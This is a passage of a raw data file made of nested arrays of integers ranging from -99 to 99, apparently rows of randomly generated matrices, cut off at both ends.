0,68,89,92,-14,38,-7,60,-90,53,-98,-81,-9,87,6,-77,15,-34,69,98,97,27,59,91,-37,-66,-2,92,74],[-48,-26,90,96,-37,82,-18,-99,-25,-81,86,-94,-79,-94,-4,84,-12,-5,-23,53,-59,-25,28,68,-89,19,-92,-79,93,99,94,-77,-27,84,-81,13,43,-22,-10,95,-4,-46,-99,-7,-64,-27,-22,23,67,54,-47,85,-94,57,53,-84,-47,37,-86,-76,36,-92,-77,86,69,-59,-1,-11,-5,65,-16,91,-81,-39,-16,-46,33,38,76,-22,-31,-93,-37,-49,40,92,-56,93,29,-43,-83,-58,-59,-61,-72,-90,-44,3,-1,28,-31,59,19,-36,-79,79,18,30,-5,-29,-92,63,-23,-53,91,-82,-84,-65,87,44,-9,80,63,31,95,67,18,-72,-29,93,55,16,52,-49],[79,72,-69,-3,-20,2,45,-36,-58,98,11,-67,92,3,-33,79,-75,34,36,87,-57,31,54,37,59,-98,30,-9,17,-41,42,-26,-68,72,47,-12,-49,-8,51,-8,-9,-61,25,-17,42,68,-60,66,-20,75,53,-1,7,7,-64,-57,9,42,33,-97,-99,-25,-24,-91,-76,-99,-4,-26,-8,-52,66,59,-14,-32,-80,-72,-87,-41,70,-8,-66,23,67,17,-92,-97,36,-7,21,-30,-5,22,21,48,30,45,25,-96,95,-83,-49,38,53,13,82,72,18,95,-92,-12,-36,-59,88,-68,35,72,-89,-29,-35,32,17,36,-69,-61,-39,60,60,85,63,32,79,90,-29,32,4],[-70,-19,98,-75,-12,-14,-34,5,-26,-3,-60,-77,-16,-12,-13,-84,-95,-99,-54,-80,-39,83,56,-53,23,-11,-74,-9,36,34,94,65,-85,92,67,2,-45,-67,-93,6,6,-76,28,89,11,92,82,-8,92,-72,-11,-47,87,-55,-24,-12,33,1,78,-31,-88,72,-88,-74,41,78,27,72,-89,11,-22,16,34,-93,5,-55,98,-36,13,67,-31,-98,-80,-44,-76,-4,43,56,73,21,-97,85,-30,-86,87,87,91,15,60,78,-74,-62,-6,36,-79,75,57,95,-60,-30,62,8,-51,59,40,-28,-68,-39,-72,81,58,-93,66,-71,96,31,92,64,-54,52,42,-52,67,-87,83,64],[88,40,37,-95,86,-24,-11,-65,-65,-71,6,-57,-11,11,-75,-52,-6,90,-47,-9,-2,-78,-45,43,74,97,67,18,86,27,-41,74,-33,95,55,-69,-51,-56,-35,-40,-50,48,3,15,-64,27,39,29,-6,91,96,92,-86,-71,35,64,-97,-20,-41,88,-93,-6,63,-49,-33,-5,-19,15,39,22,74,65,-30,-23,-20,-18,-96,-80,88,-25,87,84,-33,77,-87,78,18,-85,-42,53,-96,-35,-52,43,-8,14,-62,72,-94,53,-29,79,-5,18,-66,75,99,-86,71,87,-12,35,49,54,-10,61,33,-92,53,67,61,33,-91,85,-47,0,-24,-10,-51,-19,-79,20,-63,-8,-62,-53,-56],[-86,-39,-85,-98,25,27,50,-20,-83,-12,89,-99,-82,33,38,50,42,23,-97,-81,98,-30,-32,-44,-33,64,-30,58,78,16,79,91,76,93,92,-21,-3,19,58,13,84,24,14,-98,-43,-48,29,75,52,8,94,27,54,-61,83,97,-97,-47,33,80,45,12,71,22,5,41,-99,79,-63,35,-8,-79,-64,82,99,-31,-88,5,-55,63,-87,-61,-10,44,-46,-50,41,-44,-21,-26,-87,-75,85,60,23,-32,1,0,-53,38,-65,15,35,-53,-25,11,15,-14,-84,59,-51,-94,74,15,49,-72,42,-33,-40,-79,18,-28,-78,3,-67,44,47,10,-56,70,-75,-45,-14,37,1,60,-52,93],[-54,-36,52,-29,-54,4,62,94,31,-19,-62,68,2,55,-83,0,-41,-74,-55,82,36,-35,53,37,-3,-84,-26,74,75,22,67,97,62,-3,-55,-92,-99,83,78,8,-35,-84,-47,43,71,-30,-57,-93,-5,-36,65,-69,29,18,45,-74,33,-81,99,-15,17,44,-18,-21,-59,3,-37,-82,-13,-59,2,51,-66,55,-29,81,-75,13,87,19,77,29,27,-17,-52,-51,-15,57,-33,-39,-57,61,-95,1,-83,-55,-95,-20,-61,-32,-3,41,95,30,-27,-34,11,-26,78,-25,69,32,-95,-4,91,-71,21,-24,85,88,37,-72,26,18,6,42,40,10,98,78,77,-27,-4,72,-97,45,-85,-9,-81],[69,42,88,2,23,-39,-30,51,82,23,37,47,-63,41,-27,54,-53,91,-6,33,67,-50,-13,-60,45,-64,-81,-9,-50,9,-14,-80,-71,-26,-2,51,35,67,3,17,-33,-83,-59,3,34,13,-42,58,-19,51,-9,-52,77,55,-13,23,90,6,90,-59,91,-24,-63,-80,27,34,48,-38,-22,-72,55,45,-56,95,-52,54,-15,-18,12,65,-89,80,-86,87,12,-23,10,2,82,-23,19,51,30,32,47,-43,-34,-5,-5,21,22,-73,-34,42,-78,-10,-3,-17,72,85,-52,82,65,-62,69,-23,15,-43,56,-26,10,-48,-75,-60,84,72,-27,-73,-33,67,47,89,93,89,8,91,-20,-95,-26,-71],[90,-1,-89,32,36,56,86,-49,-87,19,25,0,70,26,39,31,-2,-87,58,42,56,5,8,27,-5,-84,-5,51,-79,69,79,87,-55,89,-4,57,45,-18,-91,35,-99,10,-65,48,-87,50,-21,11,39,-63,-47,-4,19,37,99,90,52,-6,41,49,-60,20,36,-16,9,-67,-58,-69,-9,-73,42,-8,13,53,-83,25,4,-28,-87,-57,9,-58,15,-95,78,14,94,31,85,35,-20,-75,-45,-83,-14,40,-74,27,47,16,30,-33,84,-57,-80,-99,44,0,-27,57,20,58,98,-88,39,77,26,33,-15,-12,-55,64,12,-24,57,97,92,59,1,39,-24,-92,82,-63,-50,-97,-62,71,-21,-13,5],[98,-78,3,-89,60,-43,13,-30,18,-99,14,-17,-11,66,-83,-36,58,76,64,-26,-71,72,-43,-35,98,-64,-21,46,14,65,-49,-10,63,31,-23,23,64,89,69,-17,66,-17,42,-68,-51,35,-5,83,11,-63,-42,16,85,-9,81,60,26,-40,7,-83,-97,34,6,65,-35,82,-34,-93,48,-65,-11,-9,-5,-92,0,20,42,94,4,-69,-92,38,46,92,-71,4,53,54,64,-63,47,43,70,-69,8,-87,89,50,-81,38,85,-16,-94,-43,-9,5,76,-90,-23,-20,-60,-39,-82,63,-46,-77,-33,83,76,-92,96,1,50,43,31,-64,55,20,85,50,-65,47,-89,-59,-96,-22,22,80,-12,75,-63,4],[-63,-68,-33,-33,-46,11,-73,-92,18,-77,8,-54,42,-61,-19,-2,58,-57,-75,93,90,-64,-89,93,13,9,50,77,-38,87,-18,-2,-81,25,41,-28,-87,67,-21,31,66,63,53,8,-98,-66,82,37,-24,84,30,-57,-80,17,-63,9,-97,86,-13,-36,50,45,38,68,-53,-21,-82,-40,-77,-27,67,65,-63,20,-49,-62,53,-67,51,-94,93,-42,-51,89,74,-38,-1,77,-52,62,-82,98,7,56,43,53,-88,60,-87,-65,-66,79,76,-30,-1,-73,-16,-71,-63,-64,-88,-70,-7,-40,-80,-55,21,18,98,45,-43,-84,20,63,48,-36,-7,60,-99,-17,94,-89,-38,70,-43,38,74,41,43,-89,53,54,-60],[-77,90,-64,-56,-12,30,-81,-66,86,-65,30,26,82,93,-80,19,71,2,13,81,40,-39,-61,-45,-65,56,98,-78,-14,29,-62,-15,20,-26,6,-92,80,24,-82,67,35,48,-30,-5,18,-11,-86,-11,67,4,-29,-15,64,-14,39,75,-81,14,73,4,-56,-89,65,40,-39,-29,24,-58,95,42,85,30,-33,-68,-75,84,-2,-61,-49,-35,42,21,26,-17,83,-34,-65,-98,79,-92,-18,99,94,-53,16,-44,18,-59,-26,13,59,-64,-57,-74,-33,-55,-90,64,-17,-40,-93,-98,57,32,-16,17,97,-5,-5,54,2,76,30,-4,-76,-53,28,41,-13,-98,-69,-54,-63,-50,-52,-19,-6,-66,-55,53,-29,-49,31,-95],[60,91,22,57,-14,-83,-12,87,70,-81,-39,93,-35,88,11,28,90,18,50,-96,67,97,-16,-61,-92,6,68,-22,33,0,-17,-7,-9,81,-72,54,97,15,41,44,10,78,37,51,67,-75,-44,34,42,-94,14,-13,79,98,25,87,-19,-30,-35,-86,69,24,-16,-62,5,11,91,-20,-97,9,-76,-10,-12,38,-59,-68,62,-3,65,-18,-21,-21,45,-41,-46,-53,-77,34,16,-36,25,-14,88,85,0,-30,-4,-9,49,-25,76,50,64,-36,-12,82,-5,-73,-44,-63,-15,34,16,-70,69,46,-24,68,-42,92,-67,82,-45,97,44,54,-33,-60,-78,93,-9,97,43,-44,-61,-92,-62,33,-66,-7,70,-4,-96,-37,25],[73,-91,-98,41,-34,70,50,-75,-75,47,68,55,-85,84,76,-92,-24,50,27,31,88,34,45,-1,44,-85,-31,-60,94,31,42,44,16,20,-14,82,-10,-87,-93,-9,60,52,-77,51,36,75,35,-88,25,-38,19,-9,95,-59,89,16,-68,-65,33,-73,42,-25,70,-42,71,-67,-83,-62,-54,-99,28,82,52,50,33,-12,2,-32,-23,-73,29,72,-6,1,-86,-17,93,-55,17,26,-29,-41,77,-58,17,48,-49,33,85,-4,10,-10,-22,-38,-83,-89,50,18,-45,-96,22,83,75,-84,-39,88,-1,-45,-89,92,57,-42,-48,35,-24,45,-40,27,-45,-54,-77,65,35,-22,-73,29,-12,53,-53,43,33,45,3,9,61,41],[-26,-40,95,-16,-71,29,42,-20,-36,-82,-98,24,21,-43,46,44,98,-42,-78,-75,86,-14,55,-66,-94,-12,78,-14,73,16,-73,-52,52,98,31,81,27,-50,-62,91,-55,-60,-8,65,-4,-62,-14,-6,-5,-16,-5,-18,70,-73,-8,52,15,-53,-62,-35,63,-36,12,-8,-61,-79,-27,66,-53,11,34,-9,50,-74,-66,-77,-60,-4,-7,34,80,64,92,27,91,-39,-21,-17,-15,-6,47,-75,34,-63,16,73,-43,66,16,3,-23,-50,71,-96,-48,81,-97,-9,-23,-28,-98,-66,-64,71,37,-96,-68,-83,-37,-7,10,-89,17,-56,-76,-66,93,-20,99,9,59,-47,58,30,-67,86,-12,-65,-46,65,6,-67,75,18,-96,13,22],[-88,6,84,5,92,71,-78,-87,94,-68,-93,-26,-69,-8,-66,-40,-72,40,-8,-86,-71,26,-32,70,-91,0,45,27,-20,-65,-51,-9,17,-67,72,9,81,71,22,75,-97,5,-73,-66,96,-63,-7,-76,53,85,-85,81,-12,-18,28,-3,58,-49,-76,-85,-15,-28,-18,-97,-19,-45,-12,-61,-74,-90,91,-72,-9,-82,-62,-12,-69,8,-12,60,-30,2,42,57,60,-53,-69,-5,-3,-46,9,59,2,68,38,60,99,-74,98,-75,-87,89,-71,-20,83,-56,67,90,28,-67,51,97,34,-30,31,-28,16,39,66,90,92,-47,26,-28,-79,-36,-68,-80,-34,-93,-79,-45,73,-74,35,56,-31,-21,24,73,11,-25,70,-77,21,-21,-6,-86],[-82,-40,-96,86,-11,29,-42,9,69,-34,28,-64,-50,25,-33,-77,51,-98,55,96,-42,-21,70,45,30,17,67,-72,72,-62,-58,89,-25,-78,53,63,28,-89,-27,-3,-46,77,9,-20,-20,76,2,-69,54,-66,-96,-88,-10,73,57,96,-32,1,-75,-60,39,-57,-70,-86,-36,82,76,91,69,-74,-34,99,80,74,-21,-40,50,57,-10,5,68,-30,-7,-42,-56,-50,-69,11,28,-45,50,-33,-26,56,-20,38,15,-67,6,-38,-41,71,-62,-84,46,17,-25,-27,-49,41,54,-81,-89,-52,-47,-46,-26,-16,41,-98,15,-31,-55,89,-98,1,4,17,34,-90,55,69,58,92,84,4,-14,-41,53,14,76,8,9,86,32,62,-82,82,-77],[35,61,37,-96,-94,3,-94,7,-93,-1,-82,93,-69,63,51,-77,47,-45,9,82,84,99,58,-8,8,21,-99,-30,38,83,-31,-26,21,-93,-46,26,-14,-64,-90,-7,11,-96,-14,41,66,-63,64,-10,-32,-50,-51,-48,-51,83,21,33,5,-2,-96,-80,-19,-28,-7,78,-45,24,5,41,59,-9,-89,-29,-28,-4,-88,-85,9,52,5,76,78,30,-95,-96,14,2,37,95,-99,17,91,-42,65,-38,-63,97,85,18,38,44,-91,25,-85,-43,-79,-96,-28,6,32,53,-18,11,-17,-37,-9,73,65,-72,45,42,44,37,99,-13,98,-64,-16,83,30,98,4,16,23,-4,72,43,-1,-56,-51,-92,96,7,18,-43,46,-90,-70,-12,-86,52],[-70,35,-11,-93,-78,-13,-58,5,-53,72,3,50,-35,-74,-54,-63,45,21,-19,70,29,-46,-46,-76,10,76,-67,17,-35,-76,-31,-29,58,34,-23,79,97,19,-39,-56,-32,40,70,32,42,-83,45,-36,14,-74,-89,-57,-43,-36,-56,43,-83,-24,-40,-19,-24,5,52,-66,-61,-71,89,-87,24,-50,-44,68,89,-73,-23,8,-80,99,71,10,-98,81,53,-42,-55,96,-98,-61,-51,-62,19,25,20,-52,35,58,-46,25,71,54,51,-96,0,18,-93,76,-74,-97,75,97,13,77,78,-34,-88,-99,-61,89,-61,-36,-72,34,65,47,59,-22,-18,-87,-97,-70,66,30,-66,-34,-52,-83,-80,-26,-80,71,-52,32,25,-74,74,37,-97,89,26,-59,-70],[30,52,95,-23,11,-27,36,23,-48,65,-34,58,75,9,-93,69,28,-43,88,-24,4,-3,78,6,-52,15,9,-86,-82,26,-57,25,-22,-85,78,88,-13,14,-12,15,-43,54,-26,-91,-37,-43,77,67,13,42,-80,93,-61,97,-1,-14,-11,84,-1,-16,11,19,-91,88,33,86,54,97,-22,-58,12,34,72,62,42,-65,95,-3,78,-15,-61,98,-22,-22,72,54,40,-38,15,-83,45,-74,12,53,91,-55,16,45,-58,93,63,31,4,36,-7,-76,47,-34,20,26,50,58,1,-94,-87,-27,59,30,11,-26,23,-44,-23,-65,-91,-32,-21,2,89,-2,-5,29,-71,76,-35,-2,99,-87,63,-4,15,14,-69,92,19,-79,-58,-45,27,53,5,-50],[-91,81,-39,94,-74,39,-4,91,-86,67,21,-58,20,85,40,-4,74,-20,91,-34,70,99,-65,-11,-80,-23,20,46,-93,-74,72,-85,83,-67,85,86,48,-42,77,62,-74,-25,80,45,-39,-3,-58,-88,77,-90,-45,47,-91,-11,-86,-95,42,10,27,48,35,-1,40,-4,8,25,-18,-43,83,-41,95,85,34,75,7,71,-27,48,59,-73,35,90,73,20,-43,63,2,98,-26,-71,47,85,5,-13,-19,-87,88,62,-54,71,98,-82,56,9,70,-36,-43,-57,88,92,-54,0,83,-81,-79,-60,59,22,-85,-67,27,38,94,-68,-98,-24,-78,90,-85,-56,61,89,-38,-5,-25,-68,35,8,-49,23,1,-4,-76,-39,-9,-79,-23,-50,19,-32,-41,-54,-93],[-69,-45,-92,6,-24,97,-3,-4,36,-36,57,-69,38,65,65,-53,-84,-35,24,11,-35,61,79,-15,-85,-94,80,-18,-58,-73,-35,-28,-42,-27,54,10,-53,-49,-94,59,-9,63,66,-93,5,8,-47,21,73,53,-91,-85,-9,64,-23,5,70,-43,63,-88,-40,-71,-40,17,-22,-86,-73,24,-59,-90,-16,32,49,-50,38,-46,58,67,51,8,-3,37,22,64,1,98,-31,-29,-44,-91,-41,-8,-63,18,-90,14,8,-87,-84,49,98,-24,-42,47,25,72,-98,-40,39,29,67,-87,-34,-33,76,67,-35,-78,-85,-3,-70,-26,89,-56,68,75,34,-23,64,26,-97,63,-98,-40,-13,4,-68,-35,63,47,94,8,36,-40,74,12,-73,-84,10,-58,-10,16,-8,-21],[59,-40,-69,-29,13,71,96,15,11,75,74,98,-21,82,-37,-58,29,-43,26,-35,17,0,53,20,-7,-37,38,82,79,-70,-62,15,-33,-55,62,79,-84,36,-5,27,11,-31,2,89,-48,64,-92,57,-78,34,99,15,-89,52,-88,3,92,50,-38,48,56,-24,-37,-77,20,-97,-97,13,38,-26,-83,-51,19,18,-85,47,-18,-78,5,-20,55,4,71,66,-67,83,-54,-75,10,-15,49,-34,60,89,-11,-42,91,-32,70,29,41,86,54,-40,-19,68,-92,39,89,-11,-80,22,69,67,-12,-98,50,10,-96,-63,94,52,3,32,41,91,89,9,-64,36,-62,76,-1,68,-87,79,36,-80,18,3,8,14,-75,-23,-41,-11,-44,85,75,-64,-77,47,64,25,-21],[-17,-7,-32,91,28,80,-93,-19,-21,74,-7,-42,-12,13,52,67,97,-56,91,-48,2,-43,-16,-13,-68,19,9,78,-17,-66,-66,65,26,-22,34,-69,-42,40,11,36,14,-95,70,78,-6,0,45,-32,43,13,-4,-55,69,79,31,78,-2,-82,33,58,-72,67,0,31,-55,-66,61,3,73,-50,-84,-35,-69,63,-80,24,-37,65,68,-94,-22,-35,-73,-75,-79,34,-97,19,51,35,-46,79,-21,30,-13,24,64,-52,-96,14,-3,95,55,27,58,75,-72,97,17,73,-97,71,-62,-94,95,-42,40,74,53,-32,-13,83,-76,65,14,10,-34,-22,35,-54,68,-91,-58,24,13,76,-24,40,74,92,13,53,63,27,59,36,62,-24,10,-8,20,73,-24,44,16,89],[-69,81,-56,65,-72,-88,51,-54,12,-36,98,87,-96,72,56,-6,3,20,97,-38,-67,59,14,19,-48,-66,-7,27,54,-91,-7,85,66,36,27,70,24,-45,-84,-86,18,-85,-99,-1,63,57,92,-34,-46,66,4,-14,26,-82,-95,54,-48,-26,-42,82,-18,50,44,-74,-37,-51,95,63,3,-88,76,-78,-97,54,20,65,-12,-11,-91,41,-45,12,-96,57,30,84,11,58,-41,45,40,17,-5,-38,42,34,10,38,-2,-87,26,-26,-89,5,-72,7,-30,15,72,-45,-67,-95,67,-87,61,-26,74,-50,-68,-67,94,48,26,-33,86,-54,-99,-4,60,-2,-14,-14,49,-27,90,76,80,-63,-31,52,-8,-22,56,-64,-32,-5,9,-58,21,40,-26,-8,-35,76,58,-48,98],[59,24,58,-43,-90,-79,-94,-17,87,59,-60,-75,-95,68,-7,-41,25,28,26,96,-63,67,17,53,-82,-91,94,94,44,-77,69,3,47,28,36,33,48,19,-84,36,-45,-68,37,-41,-99,-70,17,2,34,-56,-2,47,87,91,0,-94,76,-29,76,-3,-6,45,99,-59,-27,13,50,98,-68,43,11,-14,74,-52,21,74,-46,-85,-24,64,-65,50,11,-77,18,87,-95,-28,-42,80,68,28,2,45,45,52,-42,-4,50,-34,-61,-62,28,89,-15,-51,64,15,-60,-83,-44,-25,44,66,-26,-61,30,-22,10,64,-42,-44,-7,59,-99,-85,11,-42,-13,-62,23,25,-25,-72,-8,36,-24,-67,-72,-8,-74,-17,66,69,-74,-60,-91,55,17,-5,20,51,50,89,-12,50,-96,75],[84,-32,-86,-16,69,-35,11,-39,-98,63,-7,-71,-44,19,-11,98,-35,14,-61,-50,-30,32,45,66,-16,-5,55,71,-77,35,46,-93,-97,36,-9,72,-98,78,-90,79,42,3,84,74,98,-27,72,-37,87,87,13,-66,20,-42,99,80,29,31,28,51,-57,-49,35,-77,87,-74,94,65,80,-96,44,22,-17,5,-27,-19,78,-54,44,42,-67,-66,52,29,-9,28,9,96,-41,-63,48,-22,-12,-40,0,-25,-38,-29,-83,-58,-48,60,41,34,-58,-86,92,96,-64,36,38,-31,46,-33,97,-63,94,7,-90,-70,20,34,8,-92,93,-92,-41,-45,-21,-25,-3,7,-88,-62,-59,-46,-72,-67,-50,-36,45,65,32,-9,-91,6,4,-96,89,14,-67,10,-52,17,-6,-58,2,53,-4],[80,-95,69,-36,-83,-93,4,-53,-65,14,-27,-2,-41,-62,-93,50,-53,-11,-69,-73,-21,44,-64,65,69,53,-41,-89,-45,88,-17,-88,93,-47,-25,-90,-64,78,-67,-53,-8,5,21,28,20,27,-45,66,-83,-15,69,-28,-93,-95,-86,75,57,-28,62,-88,-62,-55,99,-69,-26,-26,-83,10,-70,-51,56,-2,53,-45,-74,-50,81,-20,-84,74,42,61,-77,48,66,-64,23,23,-15,-15,12,22,29,11,52,80,62,45,-33,91,70,-77,-11,0,-46,15,50,-64,71,65,86,13,27,-90,-39,-30,-78,60,69,6,-55,-19,-72,51,69,56,31,31,1,97,22,-29,96,-89,71,-49,2,21,-37,-49,-37,-74,63,66,-65,-98,-64,-66,61,-94,39,-93,-37,67,34,-68,23,-35,39,-98],[-61,-39,-51,-88,-51,-80,-61,27,17,1,77,57,27,41,0,38,19,36,71,-20,18,-12,-37,57,-45,96,66,54,-62,5,32,-47,43,81,-35,91,77,3,-5,-28,81,-27,-71,-15,90,28,-77,9,-59,71,88,35,-41,-48,-30,-10,-75,-64,-79,-37,17,53,15,-40,11,56,-72,-35,-40,23,36,-59,95,41,2,85,-53,24,-6,-13,-28,-41,99,7,-13,-31,73,-11,-19,71,28,97,1,-80,-42,-88,76,-15,-24,-87,84,89,-70,79,30,31,41,76,-68,-88,-59,4,-52,-60,87,34,-15,38,99,65,9,27,62,-90,47,96,-79,23,-41,-27,35,-57,-38,64,99,69,-5,40,45,26,29,62,-93,76,-98,71,-13,-37,9,-13,-72,-82,-86,67,-73,60,63,-76,-40,-78,-27],[94,-58,12,35,-59,-19,-70,57,-97,33,-14,65,16,-61,43,-13,3,83,95,89,-89,89,79,54,-84,17,18,-84,76,16,-34,48,57,77,-17,74,-65,-10,9,-63,99,94,78,15,-89,-1,-97,13,-18,74,-21,-31,64,-42,-76,56,51,18,49,28,-66,-85,-24,68,91,35,42,-74,-98,-49,-61,-99,-77,94,16,-90,-30,-5,-1,51,-54,77,96,86,-88,-80,43,63,37,-31,-32,48,-17,43,16,-49,-45,-65,-47,-43,-37,-9,-43,-38,-38,49,-29,31,-79,69,-41,-33,23,-44,-47,34,-48,72,-26,66,-59,41,14,0,-39,-93,50,16,-82,-97,49,-20,-29,-94,18,9,32,88,-82,52,34,-24,95,-66,8,-51,68,60,-79,-81,26,-61,60,-83,38,-79,-77,-34,13,-60,-55,-38],[-3,-8,-32,-85,-98,76,80,-81,28,-9,-29,24,25,79,49,-30,16,46,-12,-81,84,-52,-65,0,-54,-66,42,58,-50,86,-79,23,-44,-35,38,-66,-59,-5,-71,45,85,-1,-31,10,-45,94,56,70,41,-55,65,2,-31,99,78,14,-90,20,-50,-63,-16,-30,59,39,11,-3,72,51,68,-99,-27,54,-1,19,-59,31,13,97,1,-46,-81,-33,33,-36,-57,11,55,-70,-91,-95,-34,-8,-49,-75,-69,61,-1,-97,-11,-33,79,61,97,-45,-20,-61,85,70,-87,-36,-99,-92,7,33,-29,49,-78,-74,55,-70,-93,-79,21,-43,-77,28,94,21,7,-17,64,-14,-78,62,40,-22,77,3,-52,66,66,-74,73,-27,58,-56,98,56,-53,54,85,-47,51,-17,-13,73,-89,-19,-6,17,41,-41,-97],[39,97,20,-83,74,99,-58,40,65,-33,-10,-85,-98,10,89,58,56,43,43,86,-28,-73,-27,-55,-86,30,16,31,-29,74,10,86,48,-93,-96,-1,-94,-78,-84,70,-12,5,61,-34,-85,51,-76,48,-29,44,34,42,47,83,87,60,-10,3,-9,38,-46,-98,24,78,-92,27,-23,-86,25,-8,60,89,73,22,-44,87,-50,-21,12,20,99,-77,-37,46,-94,-73,7,-27,6,74,-89,36,52,34,14,60,-61,90,50,63,-41,-13,53,-91,85,-91,95,-65,-36,-15,32,-59,7,71,86,-10,97,-7,62,-20,-55,72,-84,96,6,29,33,44,-4,-40,-15,31,47,-62,39,9,-77,11,44,-37,95,-24,3,-20,-53,-33,69,-79,36,8,0,80,-43,15,77,62,-79,10,-16,16,70,45,-76,-6],[59,62,-97,81,-27,23,-79,-54,98,1,25,-78,67,-6,-81,3,78,-5,-16,-65,86,-62,73,-93,47,-66,-1,-6,78,22,87,37,-16,90,-5,34,13,-7,79,-11,93,4,-13,37,74,-17,-60,29,77,0,63,64,14,13,47,-61,47,-53,32,2,68,20,-60,-70,-13,11,40,76,80,19,-35,73,99,29,-13,50,-88,4,-21,65,80,-58,29,-5,54,-23,33,-22,0,-35,80,-55,61,96,-26,-52,-16,90,-98,-35,9,-57,-85,-15,71,2,-65,59,-94,13,25,85,31,-46,-43,-14,7,89,63,-93,-68,20,-48,92,16,2,-82,-99,-7,-81,-35,78,-39,-21,-36,-90,57,-25,68,39,88,-30,2,19,1,58,81,-92,48,22,91,79,-58,-80,48,35,21,65,35,90,60,76,46,98,-68],[86,84,66,-39,52,5,-51,99,-93,45,0,65,3,7,-10,-75,-25,-31,-56,-6,93,55,92,36,-33,59,-4,-57,5,-29,-49,-9,-45,-83,52,84,-1,77,83,5,-1,-17,-53,-97,66,36,-96,-81,81,-76,12,75,78,-19,11,-55,-59,83,-36,45,-68,-8,-86,-14,-15,65,-53,83,19,-93,-11,-81,-11,12,97,-67,-51,-99,-72,-70,-98,39,81,79,97,-8,-98,-62,-47,-58,59,-16,33,72,46,-81,14,93,-98,-66,99,-33,-71,-34,79,-74,-25,-72,-97,2,-66,-96,-82,-84,60,-85,-16,61,-71,13,-97,65,96,13,14,20,31,-94,-10,32,-84,-34,76,-56,8,55,-54,82,59,-52,-39,69,-71,-21,61,65,-30,-54,26,-24,58,5,-82,32,94,8,-71,25,13,18,-65,28,83,-89,48,-31],[42,93,-49,-22,-81,-11,-76,-76,44,85,88,90,-69,-9,-34,65,95,-40,-26,67,68,2,-8,-42,96,3,86,57,13,11,-74,-68,5,-47,-14,0,41,10,23,-15,-5,11,-24,2,-98,18,-56,73,55,18,40,23,96,-67,57,93,35,20,27,-74,-68,52,-66,36,-95,-3,-87,46,-93,35,-92,-22,-54,-17,79,-76,78,99,96,33,17,14,-67,-9,23,89,-39,-65,10,87,-40,41,16,-29,-46,20,67,-34,-57,50,77,-49,-72,-77,10,83,-54,-12,82,-81,-79,-23,32,-70,44,-45,-80,-95,-10,6,68,26,-53,-16,73,-23,-96,40,19,-76,-33,-4,-26,-6,-5,83,-46,17,-51,-63,35,-54,-10,-55,-24,-66,-1,-28,-62,65,77,82,-8,-99,-34,-58,-23,-54,82,95,-31,-74,-32,19,20,62,-20],[50,-21,28,86,90,50,-24,-65,-74,9,11,-3,23,-24,-26,5,44,-49,47,86,27,93,45,-1,-61,47,43,58,-56,5,-85,94,60,42,80,51,-31,-66,62,-5,19,-27,68,-57,26,-80,24,-53,-30,-28,-90,74,-58,31,-50,-20,-21,93,-85,22,-25,-71,16,-64,47,-26,63,-83,-16,25,-12,-97,75,-44,-55,-22,-48,69,1,22,-82,11,-27,-41,-81,22,38,-3,-8,53,96,67,58,-11,79,6,39,42,22,-77,-56,-90,-74,95,-58,-53,-27,-6,92,74,92,-90,-38,-58,-32,-20,40,83,54,-67,13,50,99,-29,-84,55,76,55,-3,-25,77,17,-39,79,13,3,-73,62,73,-81,13,42,-71,51,83,-27,-68,23,-44,62,32,68,-11,31,-83,4,-14,92,-64,59,-32,-86,-46,28,92,66,-92,95],[5,80,-85,95,-1,-57,46,-18,-8,77,82,48,16,14,-7,-95,-77,9,9,-15,-21,44,-78,23,34,-25,-72,4,-82,-64,-1,22,92,13,17,-31,32,-59,50,-75,94,9,49,11,-76,-81,15,-54,28,-99,30,83,45,28,6,-44,-97,10,59,-80,45,-64,19,15,25,-87,83,-42,-47,10,-41,-52,-80,84,58,-80,-97,-50,-35,7,-49,71,-10,72,0,72,-72,-21,-17,64,-1,-95,99,-82,-4,24,-70,-21,58,-40,66,-83,7,62,77,-58,81,80,-9,-77,-13,18,70,54,-10,-53,26,18,26,-91,-18,-75,90,-42,-81,-14,81,-75,42,40,-16,8,33,67,-53,11,-91,-72,-32,-23,-73,54,94,96,-15,-15,-56,-88,79,69,96,-62,70,86,-5,65,-27,-47,89,91,69,-26,-1,3,-82,45,90,-73,49],[-42,3,75,-88,-26,71,-26,35,91,-15,14,37,-42,51,-16,-78,-77,-51,-29,-24,-84,-38,-55,-34,37,24,-17,-41,14,9,84,71,88,59,60,-60,7,-66,74,-24,-5,-11,-87,29,-83,-3,50,-83,22,97,-8,37,-41,13,-97,72,-85,-14,-69,28,71,-85,-23,37,50,-86,76,-65,-53,50,10,18,-84,-1,-76,-90,72,51,-74,-5,48,-6,-91,84,-93,-88,56,-79,-26,64,26,-55,55,-97,58,6,92,34,40,-84,-38,-73,33,-46,25,33,-37,-2,-16,-12,92,-67,81,-99,-83,65,88,49,62,-38,13,-12,-16,-54,-33,-81,51,-41,53,-32,-26,91,-6,83,-55,-81,17,8,-7,-99,72,-38,-90,54,-60,-97,19,-72,52,-19,-33,-58,46,27,-13,-87,45,-62,-51,-25,-18,22,-34,52,-17,-12,48,99,72,-59],[76,44,3,86,-2,42,88,93,46,17,-25,-87,59,97,16,-54,86,-61,-39,-65,13,42,34,56,-28,-83,-56,-80,92,-84,-40,45,59,62,31,-65,-19,-3,-72,-72,-86,-21,-83,72,-24,10,95,-37,48,-67,-26,-39,51,-92,-83,-77,-99,-63,-58,69,-71,2,15,65,-59,-77,99,22,19,-96,26,10,-17,42,-41,35,-71,-46,74,76,-14,-51,-62,-62,-67,-69,-63,-66,-55,-21,79,-27,80,-6,-62,-79,17,-86,19,-87,-82,-55,22,-23,64,81,88,92,-88,63,69,-25,88,83,-11,97,-86,25,-92,-65,-96,87,8,60,-19,45,81,74,36,-23,87,53,22,-14,-70,-37,-56,-82,-45,-44,57,-99,7,22,60,72,20,51,-3,27,85,-22,14,-7,-62,72,-84,95,46,51,-27,33,-19,71,96,-13,-66,-60,-19,-35,-5],[-61,-57,78,60,-97,50,-43,30,-75,84,16,2,-2,85,16,-30,-99,12,93,28,61,3,-91,9,-1,-5,19,39,76,60,-89,91,79,89,28,59,16,85,-11,40,69,-95,-81,-56,67,35,-9,67,-76,-16,-27,61,86,-19,-30,-14,53,65,-98,6,25,-88,-3,5,77,-75,-36,-6,86,52,-89,55,34,-70,76,1,64,-33,-55,64,27,17,25,13,75,71,75,5,36,53,-89,-39,42,-16,42,19,8,-94,89,-5,35,-99,-73,-54,-93,-97,23,70,-54,44,11,72,-61,-64,-14,90,83,-62,-5,19,91,-18,56,33,65,-1,-71,-27,-19,-81,44,92,95,48,-85,-98,50,37,48,96,-41,-64,68,-3,-52,-69,-13,-69,-54,81,26,-86,-37,-18,46,-95,57,51,-23,-84,46,98,84,41,46,99,19,-27,13,-56,